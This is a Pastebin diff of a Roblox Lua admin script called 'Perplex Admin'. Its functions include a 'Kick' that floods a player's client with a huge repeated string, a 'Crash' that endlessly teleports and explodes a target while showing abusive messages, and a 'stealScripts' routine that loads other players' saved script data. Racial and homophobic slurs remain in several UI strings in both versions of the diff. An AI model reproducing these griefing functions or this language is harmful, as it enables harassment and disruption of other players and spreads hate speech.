SHOW:
|
|
- or go back to the newest paste.
1 | - | script.Name='Perplex Admin_'..math.random()*100 |
1 | + | script.Name='Perplex Admin_'..math.random()*100 |
2 | local START=tick() | |
3 | local END | |
4 | wait() | |
5 | PerPlex={} | |
6 | local Perplex=PerPlex | |
7 | Perplex.Core = { | |
8 | Rotation=0, | |
9 | Betkey='/', | |
10 | RotIncrease=0.01, | |
11 | ['KickAge']=175, | |
12 | ['OxboxStuff']={ | |
13 | SavedDataKey="sCrIptbuilDERox_" | |
14 | }; | |
15 | ['Logs']={ | |
16 | ||
17 | }; | |
18 | ['Reasons']={ | |
19 | ['Ranked']={}, | |
20 | ['Bans']={ | |
21 | 'Banned the creator'; | |
22 | 'Banned the creator\'s friend'; | |
23 | 'Fm\'ing'; | |
24 | 'Pri\'ing'; | |
25 | 'Annoying'; | |
26 | 'BanHappy'; | |
27 | 'UNDEFINED'; | |
28 | 'Total troll'; | |
29 | }, | |
30 | }; | |
31 | ['Ranked'] = { | |
32 | - | ['Wta_p'] = {Rank = 1337, Desc = 'Semi-Scripter', Color='Really red', TabletSize=Vector3.new(2,3,.1), Pkrot=false}; |
32 | + | ['Wta_p'] = {Rank = 1337, Desc = 'Semi-Scripter', Color='Royal purple', TabletSize=Vector3.new(2,3,.1), Pkrot=false}; |
33 | ['MrFabby'] = {Rank = 7, Desc = 'Cool guy', Color='Really black', TabletSize=Vector3.new(2,3,.1), Pkrot=false}; | |
34 | ['lolNTCH1234'] = {Rank = 7, Desc = 'Cool guy', Color='Really black', TabletSize=Vector3.new(2,3,.1), Pkrot=false}; | |
35 | ['controll22'] = {Rank = 7, Desc = 'Cool guy', Color='Really black', TabletSize=Vector3.new(2,3,.1), Pkrot=false}; | |
36 | - | ['lavarain44'] = {Rank = 666, Desc = 'You Have one Chance.', Color='Really red',TabletSize=Vector3.new(2,3,.1), Pkrot=false}; |
36 | + | ['lavarain44'] = {Rank = 666, Desc = 'You Have one Chance.', Color='Royal purple',TabletSize=Vector3.new(2,3,.1), Pkrot=false}; |
37 | }; | |
38 | ['Ranks'] = { | |
39 | [0] = {Role='Guest'}; | |
40 | [1] = {Role = 'Player'}; | |
41 | [2] = {Role = 'Member'}; | |
42 | [3] = {Role = 'Admin'}; | |
43 | [4] = {Role = 'Super Admin'}; | |
44 | [5] = {Role = 'Sentiel'}; | |
45 | [6] = {Role = 'Owner'}; | |
46 | [7] = {Role = 'Creator'}; | |
47 | }; | |
48 | ['Vote']={ | |
49 | Question=''; | |
50 | Yes=0; | |
51 | No=0; | |
52 | }; | |
53 | ['Playlists']={ | |
54 | ||
55 | - | {Name='iispecialeffects\'s playlist', Songs={ |
55 | + | {Name='Wta_p\'s playlist', Songs={ |
56 | 146177365; | |
57 | 157665034; | |
58 | 225212737; | |
59 | 258245835; | |
60 | 152350859; | |
61 | 244258002; | |
62 | 218443396; | |
63 | 178147418; | |
64 | 271542270; | |
65 | 258159405; | |
66 | 177272778; | |
67 | 246450543; | |
68 | 243635956; | |
69 | 170071672; | |
70 | }; | |
71 | }; | |
72 | }; | |
73 | ['Tablets'] = {}; | |
74 | ['Commands'] = {}; | |
75 | ['Bans'] = { | |
76 | -- ['']={Name='', Reason4Ban = ''}, | |
77 | -- ['']={Name='', Reason4Ban = ''}, | |
78 | -- ['']={Name='', Reason4Ban = ''}, | |
79 | -- ['']={Name='', SavageMukey = ''}, | |
80 | }; | |
81 | ['Services']={ | |
82 | ['Http']=game:service'HttpService', | |
83 | ['Workspace']=game:service'Workspace', | |
84 | ['Lighting']=game:service'Lighting', | |
85 | ['ServerStorage']=game:service'ServerStorage', | |
86 | ['Players']=game:service'Players', | |
87 | ['MarketPlace']=game:service'MarketplaceService' | |
88 | }, | |
89 | ['Functions']={ | |
90 | stealScripts=function(player) | |
91 | local Utils = LoadLibrary("RbxUtility") | |
92 | local ToMod = Utils.DecodeJSON(player:LoadString(Perplex.Core['OxboxStuff'].SavedDataKey)) | |
93 | return ToMod | |
94 | end, | |
95 | Create = function(ClassName, Properties) -- A function to create instances. | |
96 | local Instance = Instance.new(ClassName) | |
97 | local Properties = Properties or {} | |
98 | local ConnectionIndexes = {"MouseClick","MouseHoverEnter","MouseHoverLeave","MouseButton1Down","MouseButton2Down"} | |
99 | local CheckConnection = function(Index) | |
100 | local Index = tostring(Index) | |
101 | for _, Connect in next,(ConnectionIndexes) do | |
102 | if Index:lower() == Connect:lower() then | |
103 | return true | |
104 | end | |
105 | end | |
106 | return false | |
107 | end | |
108 | for Index, Value in next,(Properties) do | |
109 | if not CheckConnection(Index) then | |
110 | Instance[Index] = Value | |
111 | else | |
112 | Instance[Index]:connect(Value) | |
113 | end | |
114 | end | |
115 | return Instance | |
116 | end, | |
117 | EditSound=function(plr, sound, id) | |
118 | if sound and sound:IsA('Sound') then | |
119 | Perplex.Core['Functions']['Main'].Dismiss(plr) | |
120 | Perplex.Core['Functions']['Main'].Output(plr, 'Restart Rap song', 'New Yeller', function() | |
121 | sound:Stop() | |
122 | wait() | |
123 | sound:Play() | |
124 | end) | |
125 | Perplex.Core['Functions']['Main'].Output(plr, 'Destroy Rap song', 'Sand red', function() | |
126 | Perplex.Core['Functions']['Main'].Dismiss(plr) | |
127 | sound:Stop() | |
128 | wait() | |
129 | sound:Destroy() | |
130 | end) | |
131 | if sound.isPaused then | |
132 | Perplex.Core['Functions']['Main'].Output(plr, 'Play Rap song', 'Lime green', function() | |
133 | sound:Play() | |
134 | Perplex.Core['Functions'].EditSound(plr,sound) | |
135 | end) | |
136 | else | |
137 | Perplex.Core['Functions']['Main'].Output(plr, 'Pause Rap song', 'Bright green', function() | |
138 | sound:Pause() | |
139 | Perplex.Core['Functions'].EditSound(plr,sound) | |
140 | end) | |
141 | - | Perplex.Core['Functions']['Main'].Output(plr, 'Stop Rap song', 'Really red', function() |
141 | + | Perplex.Core['Functions']['Main'].Output(plr, 'Stop Rap song', 'Royal purple', function() |
142 | sound:Stop() | |
143 | Perplex.Core['Functions'].EditSound(plr,sound) | |
144 | end) | |
145 | end | |
146 | Perplex.Core['Functions']['Main'].Output(plr, 'Add to a BoomBox', 'Lime green', function() | |
147 | Perplex.Core['Functions']['Main'].Dismiss(plr) | |
148 | for _,v in next, Perplex.Core['Playlists'] do | |
149 | Perplex.Core['Functions']['Main'].Output(plr, v.Name, 'Random', function() | |
150 | table.insert(v.Songs, id) | |
151 | Perplex.Core['Functions']['Main'].Dismiss(plr) | |
152 | Perplex.Core['Functions'].EditSound(plr, sound, id) | |
153 | end) | |
154 | end | |
155 | end) | |
156 | Perplex.Core['Functions']['Main'].Output(plr, 'Fast Rap song', 'Toothpaste', function() | |
157 | sound.Pitch=1.25 | |
158 | end) | |
159 | Perplex.Core['Functions']['Main'].Output(plr, 'Demonify Rap song', 'Black', function() | |
160 | sound.Pitch=0.65 | |
161 | end) | |
162 | Perplex.Core['Functions']['Main'].Output(plr, 'Set looped', 'Neon orange', function() | |
163 | Perplex.Core['Functions']['Main'].Dismiss(plr) | |
164 | Perplex.Core['Functions']['Main'].Output(plr, 'Looped : '..tostring(sound.Looped), 'Deep orange') | |
165 | - | Perplex.Core['Functions']['Main'].Output(plr, 'Yah Mah Nigga!', 'Lime green', function() sound.Looped=true Perplex.Core['Functions'].EditSound(plr, sound) end) |
165 | + | Perplex.Core['Functions']['Main'].Output(plr, 'Yah Mah Dewd!', 'Lime green', function() sound.Looped=true Perplex.Core['Functions'].EditSound(plr, sound) end) |
166 | - | Perplex.Core['Functions']['Main'].Output(plr, 'Aww Hell Naw', 'Really red', function() sound.Looped=false Perplex.Core['Functions'].EditSound(plr, sound) end) |
166 | + | Perplex.Core['Functions']['Main'].Output(plr, 'Aww Hell Naw', 'Royal purple', function() sound.Looped=false Perplex.Core['Functions'].EditSound(plr, sound) end) |
167 | end) | |
168 | Perplex.Core['Functions']['Main'].Output(plr, 'Change volume', 'Bright red', function() | |
169 | Perplex.Core['Functions']['Main'].Dismiss(plr) | |
170 | for i = 0, 1, .1 do | |
171 | Perplex.Core['Functions']['Main'].Output(plr, i, 'Bright red', function() | |
172 | sound.Volume=i | |
173 | Perplex.Core['Functions'].EditSound(plr,sound) | |
174 | end) | |
175 | end | |
176 | end) | |
177 | Perplex.Core['Functions']['Main'].Output(plr, 'Change pitch', 'Deep orange', function() | |
178 | Perplex.Core['Functions']['Main'].Dismiss(plr) | |
179 | for i = 0, 2.1, .1 do | |
180 | Perplex.Core['Functions']['Main'].Output(plr, i, 'Deep orange', function() | |
181 | sound.Pitch=i | |
182 | Perplex.Core['Functions'].EditSound(plr,sound) | |
183 | end) | |
184 | end | |
185 | end) | |
186 | end | |
187 | end, | |
188 | PlayAudio=function(plr, id) | |
189 | Perplex.Core['Functions']['Main'].Dismiss(plr) | |
190 | for _,v in next, script:children() do if v:IsA('Sound') then v:Stop() wait() v:destroy() end end | |
191 | local MarketPlace=Perplex.Core['Services']['MarketPlace'] | |
192 | local productInfo=MarketPlace:GetProductInfo(id) | |
193 | local Sound=Perplex.Core['Functions'].Create('Sound', {Parent=script, SoundId='rbxassetid://'..id, Volume=1, Pitch=1, Looped=true}) | |
194 | Sound:Play() | |
195 | Sound.Name=productInfo.Name | |
196 | Perplex.Core['Functions']['Main'].Output(plr, 'Rap Song: \n'..Sound.Name, 'New Yeller') | |
197 | Perplex.Core['Functions']['Main'].Output(plr, 'Description: \n'..productInfo.Description, 'Bright green') | |
198 | Perplex.Core['Functions']['Main'].Output(plr, 'Rapper: \n'..productInfo.Creator.Name, 'Lime green') | |
199 | Perplex.Core['Functions']['Main'].Output(plr, 'Edit Rap', 'Deep orange', function() Perplex.Core['Functions'].EditSound(plr, Sound, id) end) | |
200 | end, | |
201 | Kick=function(plr) | |
202 | local h=Instance.new('RemoteEvent', game:service'Lighting'):FireClient(plr,{string.rep("Rekt pls?",2e5+5)}) | |
203 | delay(1,function() | |
204 | pcall(function() | |
205 | h:destroy() | |
206 | end) | |
207 | end) | |
208 | end, | |
209 | Crash = function(plr) | |
210 | coroutine.resume(coroutine.create(function() | |
211 | while wait() do | |
212 | local chr=workspace:FindFirstChild(plr.Name) | |
213 | if chr then | |
214 | pcall(function() | |
215 | Instance.new('Message', plr:FindFirstChild('PlayerGui')).Text = 'You were that much of a fa\5\ggot to be crashed by Perplex Administration! <3' | |
216 | Instance.new('Hint', plr:FindFirstChild('PlayerGui')).Text = 'You were that much of a fu\c\ker to be crashed by Perplex Administration! <3' | |
217 | chr:FindFirstChild('Torso').CFrame=CFrame.new(2500,2500,2500) | |
218 | chr:FindFirstChild('Torso').Anchored=true | |
219 | local ff=Instance.new('ForceField', chr) | |
220 | local spark=Instance.new('Sparkles', chr:FindFirstChild('Torso')) | |
221 | local smoke=Instance.new('Smoke', chr:FindFirstChild('Torso')) | |
222 | chr:FindFirstChild('Torso'):Explode() | |
223 | plr.CameraMode='LockFirstPerson' | |
224 | if not chr then | |
225 | plr:LoadCharacter() | |
226 | end | |
227 | end) | |
228 | end | |
229 | end | |
230 | end)) | |
231 | end, | |
232 | ['Misc']={ | |
233 | retrieveSoundAssets=function(name, results) | |
234 | local Http=Perplex.Core['Services'].Http | |
235 | local Query="http://roproxy.tk/catalog/json?Keyword="..name.."&Category=9&ResultsPerPage="..results | |
236 | local Assets=Http:JSONDecode(Http:GetAsync(Query)); | |
237 | return Assets | |
238 | end; | |
239 | soundSearch=function(plr, name, results) | |
240 | local Sounds=Perplex.Core['Functions']['Misc'].retrieveSoundAssets(name, results) | |
241 | for i = 1, #Sounds do | |
242 | Perplex.Core['Functions']['Main'].Output(plr, Sounds[i].Name, 'Random', function() | |
243 | Perplex.Core['Functions'].PlayAudio(plr, Sounds[i].AssetId) | |
244 | end) | |
245 | end | |
246 | end; | |
247 | AddLog=function(player, message) | |
248 | if Perplex.Core['Logs'][player] == nil then | |
249 | Perplex.Core['Logs'][player]={} | |
250 | end | |
251 | table.insert(Perplex.Core['Logs'][player], message) | |
252 | end, | |
253 | SoundOutput=function(plr, text, sound, vol, pit) | |
254 | if plr==nil or type(plr) ~= 'userdata' then return end | |
255 | if text==nil then text='Speaker' end | |
256 | local p=Instance.new('Part', script) | |
257 | p.Name='PERPLEX_OUTPUT' | |
258 | p.FormFactor = 3 | |
259 | p.Anchored=true | |
260 | p.formFactor='Custom' | |
261 | pcall(function() | |
262 | if plr and plr.Character and plr.Character.Torso then | |
263 | p.CFrame=plr.Character.Torso.CFrame | |
264 | end | |
265 | end) | |
266 | p.Size=Vector3.new(2,2,2) | |
267 | p.CanCollide=false | |
268 | p.Transparency=0 | |
269 | p.BrickColor=BrickColor.new('Really black') | |
270 | p.TopSurface, p.BottomSurface = 'SmoothNoOutlines', 'SmoothNoOutlines'; | |
271 | bg = Instance.new('BillboardGui',p) | |
272 | bg.Adornee = p | |
273 | bg.Size = UDim2.new(1,0,.5,0) | |
274 | bg.AlwaysOnTop = true | |
275 | bg.StudsOffset = Vector3.new(0,4,0) | |
276 | tl = Instance.new('TextLabel',bg) | |
277 | local props={Parent=BBG, Font='ArialBold', TextColor=p.BrickColor, BackgroundTransparency=1, TextWrapped=false, FontSize='Size24', TextStrokeTransparency=1, Text=text, Size=UDim2.new(1,0,.5,0), Position=UDim2.new(0,0,.2,0)} | |
278 | for i,v in next, props do | |
279 | tl[i]=v | |
280 | end | |
281 | local snd=Instance.new('Sound', p) | |
282 | snd.Pitch=pit | |
283 | snd.Volume=vol | |
284 | snd.SoundId=sound | |
285 | snd.Name='My bootiful sound <3' | |
286 | snd.Looped=true | |
287 | snd:Play() | |
288 | local cd=Instance.new('ClickDetector', p) | |
289 | cd.MaxActivationDistance=math.huge | |
290 | cd.MouseClick:connect(function(playr) | |
291 | if playr == plr then | |
292 | for i = 0, 1, .1 do | |
293 | p.Transparency=i | |
294 | p.Size=p.Size-Vector3.new(.05,.05,.05) | |
295 | game:service'RunService'.Stepped:wait() | |
296 | end | |
297 | repeat snd:Stop() snd:Pause() wait() until snd.isPaused | |
298 | snd:destroy() | |
299 | p:destroy() | |
300 | end | |
301 | end) | |
302 | ||
303 | table.insert(Perplex.Core['Tablets'], {Player=plr, Tablet=p, Special=true}) | |
304 | end, | |
305 | returnNilPlayers=function() | |
306 | local networkServer={} | |
307 | for _,v in next, game:service'NetworkServer':children() do | |
308 | if v:isA('ServerReplicator') and v:getPlayer() and v:getPlayer().Parent ~= game:service'Players' then | |
309 | table.insert(networkServer, v:getPlayer()) | |
310 | end | |
311 | end | |
312 | return networkServer | |
313 | end, | |
314 | }, | |
315 | ['Main']={ | |
316 | Output=function(plr, text, color, f, image) | |
317 | if plr==nil or type(plr) ~= 'userdata' then return end | |
318 | if text==nil then text='Text Error' end | |
319 | if color==nil then color=Perplex.Core['Ranked'][plr.Name].Color end | |
320 | if color:lower()=='random' then color=tostring(BrickColor.random()) end | |
321 | local p=Instance.new('Part', workspace) | |
322 | p.Name='PERPLEX_OUTPUT' | |
323 | p.FormFactor = 3 | |
324 | p.Anchored=true | |
325 | p.formFactor='Custom' | |
326 | p.Material='Neon' | |
327 | pcall(function() | |
328 | if plr and plr.Character and plr.Character.Torso then | |
329 | p.CFrame=plr.Character.Torso.CFrame | |
330 | end | |
331 | end) | |
332 | p.Size=Perplex.Core['Ranked'][tostring(plr)].TabletSize | |
333 | p.CanCollide=false | |
334 | p.Transparency=0 | |
335 | p.BrickColor=BrickColor.new(color) | |
336 | p.TopSurface, p.BottomSurface = 'SmoothNoOutlines', 'SmoothNoOutlines'; | |
337 | local sel=Instance.new('SelectionBox', p) | |
338 | sel.Adornee=p | |
339 | sel.Color=p.BrickColor | |
340 | sel.Transparency=.8 | |
341 | bg = Instance.new('BillboardGui',p) | |
342 | bg.Adornee = p | |
343 | bg.Size = UDim2.new(1,0,.5,0) | |
344 | bg.AlwaysOnTop = true | |
345 | bg.StudsOffset = Vector3.new(0,4,0) | |
346 | tl = Instance.new('TextLabel',bg) | |
347 | local props={Parent=bg, Font='ArialBold', TextColor=p.BrickColor, BackgroundTransparency=1, TextWrapped=false, FontSize='Size24', TextStrokeTransparency=1, Text='Cock ass Nigga \n'..text, Size=UDim2.new(1,0,.5,0), Position=UDim2.new(0,0,.2,0)} | |
348 | for i,v in next, props do | |
349 | tl[i]=v | |
350 | end | |
351 | local imagelabel | |
352 | if image then | |
353 | local props2={Parent=bg, BackgroundTransparency=1, Image=image, Size=UDim2.new(.3,0,.37,0), Position=UDim2.new(.35,0,0,0)} | |
354 | imagelabel=Instance.new('ImageLabel', bg) | |
355 | for i,v in next, props2 do | |
356 | imagelabel[i]=v | |
357 | end | |
358 | end | |
359 | local AntiRemove | |
360 | ||
361 | AntiRemove=p.Changed:connect(function() | |
362 | if p.Parent ~= workspace then | |
363 | local removeTab=p:findFirstChild('removeTheTablet') | |
364 | if removeTab and removeTab:IsA('BoolValue') and removeTab.Value==true then | |
365 | AntiRemove:disconnect() | |
366 | else | |
367 | Perplex.Core['Functions']['Main'].Output(plr, text, color, f) | |
368 | end | |
369 | end | |
370 | end) | |
371 | ||
372 | local cd=Instance.new('ClickDetector', p) | |
373 | cd.MaxActivationDistance=math.huge | |
374 | cd.MouseHoverEnter:connect(function(playr) | |
375 | if playr==plr then | |
376 | for i=1,4 do | |
377 | game:service'RunService'.Stepped:wait() | |
378 | p.Size=Vector3.new(p.Size.X+0.1,p.Size.Y+0.1,p.Size.Z+0.1); | |
379 | end; | |
380 | end; | |
381 | end); | |
382 | cd.MouseHoverLeave:connect(function(playr) | |
383 | if playr==plr then | |
384 | for i=1,4 do | |
385 | game:service'RunService'.Stepped:wait() | |
386 | p.Size=Vector3.new(p.Size.X-0.1,p.Size.Y-0.1,p.Size.Z-0.1); | |
387 | end; | |
388 | end; | |
389 | end); | |
390 | cd.MouseClick:connect(function(playr) | |
391 | if playr == plr then | |
392 | if f then | |
393 | f() | |
394 | else | |
395 | repeat | |
396 | game:service'RunService'.Stepped:wait() | |
397 | p.Size=Vector3.new(p.Size.X-0.1,p.Size.Y-0.1,p.Size.Z-0.1); | |
398 | until p.Size.X<0.3; | |
399 | local removeTab=Instance.new('BoolValue', p) | |
400 | removeTab.Name='removeTheTablet' | |
401 | removeTab.Value=true | |
402 | p:destroy() | |
403 | end | |
404 | end | |
405 | end) | |
406 | ||
407 | table.insert(Perplex.Core['Tablets'], {Player=plr, Box=sel, Tablet=p, Special=false}) | |
408 | end, | |
409 | Dismiss=function(Plr) | |
410 | for _, Tab in pairs(Perplex.Core['Tablets']) do | |
411 | if Tab.Player==Plr and Tab.Special==false then | |
412 | local p=Tab.Tablet | |
413 | coroutine.resume(coroutine.create(function() | |
414 | repeat | |
415 | game:service'RunService'.Stepped:wait() | |
416 | p.Size=Vector3.new(p.Size.X-0.1,p.Size.Y-0.1,p.Size.Z-0.1); | |
417 | until p.Size.X<0.3; | |
418 | local removeTab=Instance.new('BoolValue', p) | |
419 | removeTab.Name='removeTheTablet' | |
420 | removeTab.Value=true | |
421 | p:destroy() | |
422 | end)) | |
423 | end | |
424 | end | |
425 | end, | |
426 | doCommand = function(Speaker,Msg) | |
427 | if Msg:sub(1,2) == '/e' and #Msg >= 3 then | |
428 | Msg=Msg:sub(4) | |
429 | end | |
430 | for _,v in next, Perplex.Core['Commands'] do | |
431 | if Msg:sub(1, #v['Chat']+#Perplex.Core.Betkey)==v['Chat']..Perplex.Core.Betkey then | |
432 | if Perplex.Core['Ranked'][Speaker.Name] and Perplex.Core['Ranked'][Speaker.Name].Rank and Perplex.Core['Ranked'][Speaker.Name].Rank >= v['Rank'] then | |
433 | local Added = Msg:sub(#v['Chat']+#Perplex.Core.Betkey+1) | |
434 | a,b=ypcall(function() | |
435 | v['Func'](Speaker, Added) | |
436 | - | end)if not a then Perplex.Core['Functions']['Main'].Output(Speaker, b, 'Really red') end |
436 | + | end)if not a then Perplex.Core['Functions']['Main'].Output(Speaker, b, 'Royal purple') end |
437 | else | |
438 | - | Perplex.Core['Functions']['Main'].Output(Speaker, 'Your c0ck isnt long enough, to execute this command ['..v['Rank']..']', 'Really red') |
438 | + | Perplex.Core['Functions']['Main'].Output(Speaker, 'Your c0ck isnt long enough, to execute this command ['..v['Rank']..']', 'Royal purple') |
439 | end | |
440 | end | |
441 | end | |
442 | end; | |
443 | ConnectPlayer=function(plr) | |
444 | if Perplex.Core['Bans'][plr.Name] then | |
445 | Perplex.Core['Functions'].Kick(plr) | |
446 | end | |
447 | if Perplex.Core['Ranked'][plr.Name] == nil then | |
448 | Perplex.Core['Ranked'][plr.Name]={Rank=0, Desc='A player', Color='White', TabletSize=Vector3.new(1.5,1.5,1.5), Pkrot=false} | |
449 | print'Rank added!' | |
450 | end | |
451 | if Perplex.Core['Logs'][tostring(plr)] == nil then | |
452 | Perplex.Core['Logs'][tostring(plr)]={} | |
453 | end | |
454 | if Perplex.Core['Ranked'][plr.Name].Rank >= 1 then | |
455 | - | Perplex.Core['Functions']['Main'].Output(plr, 'Welcome to cock ass nigga Admin!', nil) |
455 | + | Perplex.Core['Functions']['Main'].Output(plr, 'Welcome to Wta_p Admin!', nil) |
456 | Perplex.Core['Functions']['Main'].Output(plr, 'This is your last chance.', nil) | |
457 | Perplex.Core['Functions']['Main'].Output(plr, 'Bet key : [ '..Perplex.Core.Betkey..' ]', nil) | |
458 | - | Perplex.Core['Functions']['Main'].Output(plr, 'Your cock length : '..Perplex.Core['Ranked'][plr.Name].Rank, nil) |
458 | + | Perplex.Core['Functions']['Main'].Output(plr, 'Your Admin Rank: '..Perplex.Core['Ranked'][plr.Name].Rank, nil) |
459 | - | Perplex.Core['Functions']['Main'].Output(plr, 'Disclaim', 'Really red', function() |
459 | + | Perplex.Core['Functions']['Main'].Output(plr, 'Disclaim', 'Royal purple', function() |
460 | Perplex.Core['Functions']['Main'].Dismiss(plr) | |
461 | end) | |
462 | end | |
463 | plr.Chatted:connect(function(chat) Perplex.Core['Functions']['Misc'].AddLog(tostring(plr), chat) Perplex.Core['Functions']['Main'].doCommand(plr, chat) end) | |
464 | end, | |
465 | }, | |
466 | ['Set']={}; | |
467 | ['Get']={ | |
468 | BannedPlayer=function(plr) | |
469 | if type(plr)=='string' then | |
470 | plr=plr | |
471 | elseif type(plr)=='userdata' then | |
472 | plr=tostring(plr) | |
473 | end | |
474 | if PerPlex.Core['Bans'][plr] then | |
475 | return true | |
476 | end | |
477 | end, | |
478 | Color=function(plr) | |
479 | if type(plr)=='string' then | |
480 | plr=plr | |
481 | elseif type(plr)=='userdata' then | |
482 | plr=tostring(plr) | |
483 | else | |
484 | plr=plr.Name | |
485 | end | |
486 | if Perplex.Core['Ranked'][plr] then | |
487 | return Perplex.Core['Ranked'][plr].Color | |
488 | end | |
489 | return 'White' | |
490 | end, | |
491 | Rank=function(plr) | |
492 | if type(plr)=='string' then | |
493 | plr=plr | |
494 | elseif type(plr)=='userdata' then | |
495 | plr=tostring(plr) | |
496 | else | |
497 | plr=plr.Name | |
498 | end | |
499 | if Perplex.Core['Ranked'][plr] then | |
500 | return Perplex.Core['Ranked'][plr].Rank | |
501 | end | |
502 | return 0 | |
503 | end, | |
504 | Split=function(msg) | |
505 | return string.find(msg, Perplex.Core.Betkey) | |
506 | end, | |
507 | Players=function(speaker, plr) | |
508 | plr=plr:lower() | |
509 | local returned={} | |
510 | if plr=='all' or plr=='' then | |
511 | for _,v in next, game:service'Players':players() do if Perplex.Core['Functions']['Get'].Rank(v) <= Perplex.Core['Functions']['Get'].Rank(speaker) then table.insert(returned, v) end end | |
512 | elseif plr=='others' then | |
513 | for _,v in next, game:service'Players':players() do if v ~= speaker then if Perplex.Core['Functions']['Get'].Rank(v) <= Perplex.Core['Functions']['Get'].Rank(speaker) then table.insert(returned, v) end end end | |
514 | elseif plr=='me' then | |
515 | table.insert(returned, speaker) | |
516 | else | |
517 | for _,v in next, game:service'Players':players() do | |
518 | if tostring(v):lower():find(plr) then | |
519 | if Perplex.Core['Functions']['Get'].Rank(v) <= Perplex.Core['Functions']['Get'].Rank(speaker) then | |
520 | table.insert(returned, v) | |
521 | end | |
522 | end | |
523 | end | |
524 | end | |
525 | return returned | |
526 | end, | |
527 | }; | |
528 | UpdateTabs=function() | |
529 | Perplex.Core.Rotation=Perplex.Core.Rotation+Perplex.Core.RotIncrease | |
530 | --pcall(function() | |
531 | for _,Player in pairs(game:service'Players':GetPlayers()) do | |
532 | local Counter = 0 | |
533 | local PlayerTablets = {} | |
534 | for i,v in pairs(Perplex.Core['Tablets']) do | |
535 | if v.Tablet.Parent ~= nil and v.Player==Player then | |
536 | table.insert(PlayerTablets,v) | |
537 | end | |
538 | end | |
539 | ||
540 | ||
541 | local Start = CFrame.new(0,0,0) | |
542 | for I = 1, #PlayerTablets do | |
543 | local Pos = nil | |
544 | pcall(function() Pos = Player.Character.Torso.CFrame end) | |
545 | if Pos == nil then return end | |
546 | local Tab=PlayerTablets[I].Tablet | |
547 | local i=I | |
548 | local Main = (I / #PlayerTablets - (0.1 / #PlayerTablets) + Perplex.Core.Rotation/(#PlayerTablets/3)) * math.pi * 2.2 | |
549 | local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3) | |
550 | local y = math.sin(math.sin(time()+I*1)) | |
551 | local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3) | |
552 | local aPos = Vector3.new(x, y, z) + Pos.p | |
553 | local bPos = Tab.CFrame.p | |
554 | local cPos = (aPos * .1 + bPos * .9) | |
555 | Tab.CFrame = CFrame.new(cPos, Pos.p) | |
556 | local d=math.rad((Perplex.Core.Rotation*300)*math.pi); | |
557 | if Perplex.Core['Ranked'][tostring(Player)].Pkrot==true or Perplex.Core['Ranked'][tostring(Player)].Pkrot==nil then | |
558 | Tab.CFrame=CFrame.new(cPos, Pos.p)*CFrame.Angles(math.sin((tick()+i)*4)/2,math.sin((tick()+i)*4)/2,math.sin((tick()+i)*4)/2) | |
559 | else | |
560 | Tab.CFrame=CFrame.new(cPos, Pos.p) | |
561 | end | |
562 | end | |
563 | end | |
564 | --end) | |
565 | end; | |
566 | ShowCommandsForRank=function(rank, plr) | |
567 | Perplex.Core['Functions']['Main'].Dismiss(plr) | |
568 | for _, CMDS in next, Perplex.Core['Commands'] do | |
569 | if CMDS['Rank'] == rank then | |
570 | Perplex.Core['Functions']['Main'].Output(plr, CMDS['Name'], nil, function() | |
571 | Perplex.Core['Functions']['Main'].Dismiss(plr) | |
572 | Perplex.Core['Functions']['Main'].Output(plr, 'Name : '..CMDS['Name'], 'White') | |
573 | Perplex.Core['Functions']['Main'].Output(plr, 'Details : '..CMDS['Details'], 'White') | |
574 | - | Perplex.Core['Functions']['Main'].Output(plr, 'Cock Length required : '..CMDS['Rank'], 'White') |
574 | + | Perplex.Core['Functions']['Main'].Output(plr, 'Rank required : '..CMDS['Rank'], 'White') |
575 | Perplex.Core['Functions']['Main'].Output(plr, 'F'..tostring(CMDS['Func']):sub(2), 'White') | |
576 | Perplex.Core['Functions']['Main'].Output(plr, 'Say What.. : '..CMDS['Chat']..Perplex.Core.Betkey, 'White') | |
577 | - | Perplex.Core['Functions']['Main'].Output(plr, 'Go back Nigga', 'Lime green', function() Perplex.Core['Functions'].ShowCommandsForRank(rank, plr) end) |
577 | + | Perplex.Core['Functions']['Main'].Output(plr, 'Go back', 'Lime green', function() Perplex.Core['Functions'].ShowCommandsForRank(rank, plr) end) |
578 | - | Perplex.Core['Functions']['Main'].Output(plr, 'Get out of mah face Nigga', 'Really red', function() Perplex.Core['Functions']['Main'].Dismiss(plr) end) |
578 | + | Perplex.Core['Functions']['Main'].Output(plr, 'Get out of mah face kid', 'Royal purple', function() Perplex.Core['Functions']['Main'].Dismiss(plr) end) |
579 | end) | |
580 | end | |
581 | end | |
582 | end; | |
583 | ||
584 | ShowCommandsAll=function(plr) | |
585 | Perplex.Core['Functions']['Main'].Dismiss(plr) | |
586 | for _, CMDS in next, Perplex.Core['Commands'] do | |
587 | Perplex.Core['Functions']['Main'].Output(plr, CMDS['Name'], nil, function() | |
588 | Perplex.Core['Functions']['Main'].Dismiss(plr) | |
589 | Perplex.Core['Functions']['Main'].Output(plr, 'Name : '..CMDS['Name'], 'White') | |
590 | Perplex.Core['Functions']['Main'].Output(plr, 'Details : '..CMDS['Details'], 'White') | |
591 | - | Perplex.Core['Functions']['Main'].Output(plr, 'Cock Length required : '..CMDS['Rank'], 'White') |
591 | + | Perplex.Core['Functions']['Main'].Output(plr, 'Rank required Length required : '..CMDS['Rank'], 'White') |
592 | Perplex.Core['Functions']['Main'].Output(plr, 'F'..tostring(CMDS['Func']):sub(2), 'White') | |
593 | Perplex.Core['Functions']['Main'].Output(plr, 'Say : '..CMDS['Chat']..Perplex.Core.Betkey, 'White') | |
594 | - | Perplex.Core['Functions']['Main'].Output(plr, 'Go back Nigga', 'Lime green', function() Perplex.Core['Functions'].ShowCommandsAll(plr) end) |
594 | + | Perplex.Core['Functions']['Main'].Output(plr, 'Go back', 'Lime green', function() Perplex.Core['Functions'].ShowCommandsAll(plr) end) |
595 | - | Perplex.Core['Functions']['Main'].Output(plr, 'Get out of mah face Nigga', 'Really red', function() Perplex.Core['Functions']['Main'].Dismiss(plr) end) |
595 | + | Perplex.Core['Functions']['Main'].Output(plr, 'Get out of mah face skid', 'Royal purple', function() Perplex.Core['Functions']['Main'].Dismiss(plr) end) |
596 | end) | |
597 | end | |
598 | end; | |
599 | ||
600 | NewCmd = function(name,chat,rank,desc,f) | |
601 | table.insert(Perplex.Core['Commands'], {Name=name, Chat=chat, Rank = rank, Details=desc, Func = f}) | |
602 | end; | |
603 | }; | |
604 | }; | |
605 | ||
606 | ||
607 | local main=Perplex.Core['Functions']['Main'] | |
608 | local bet=Perplex.Core.Betkey | |
